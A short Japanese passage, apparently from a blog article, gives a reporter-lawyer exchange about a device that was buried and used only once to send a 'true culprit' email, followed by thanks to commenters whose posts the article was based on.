
記者「それを使ってまた送るとか、そういう事は考えていなかった?」

弁護士「少なくとも今回は全く考えていなかった。」


記者「では、使い捨てだったのか」

弁護士「埋めたまま。今回の真犯人メールを送信する為の道具としてだけ用いられた。」

謝辞

※この記事はコメント欄の投稿を元に作成しました。

貴重な情報提供ありがとうございました。

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